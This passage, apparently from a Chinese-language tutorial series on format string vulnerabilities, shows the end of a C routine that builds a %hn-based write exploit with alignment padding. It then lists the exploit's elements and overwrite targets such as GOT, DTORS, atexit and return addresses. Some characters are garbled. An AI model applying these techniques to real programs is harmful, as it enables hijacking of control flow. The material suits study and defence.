格式化字符串漏 (二)

2014-11-24 02:42:11 · 作者: · 浏览: 4

b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
vall-8, /* set the value for the first %hn */
flag+1, /* the %hn for the high part */
valh-vall, /* set the value for the second %hn */
flag /* the %hn for the low part */
);
}


//*
for (i = 0; i < align; i++) {
strcat(fmtstr, "A");
}
//*/
}


示例的程序有些特 ,由于格式串并不是复制过去的,所以对齐字符串要放在格式串的后面。格式串漏洞利用的要素是以下几点:
覆盖获得控制的地址
printf参数地址到自定义的格式串数据地址直接的距离
格式串数据没有4字节对齐的偏移
Shellcode 地址
可以用来覆盖获得控制的地址有以下几种:
全局偏移表(GOT)(动态重定位对函数,如果某些人使用的二进制文件与你的一样,那 就太好了,比如rpm:
析构函数(DTORS)表(函数在退出前将调用析构函数);
C函数库钩子,
atexit结构;
所有其他的函数指针,例如C ++ vtable、 调函数等;
windows里默认未处理的异常处理程序,它几乎总是在同一地址
堆栈中的函数返回地址
覆盖 dl_lookup_versioned_symbol
其实搏盖dl_lookup_versioned_symbol也是覆盖GOT技术.只不过是ld的GOT。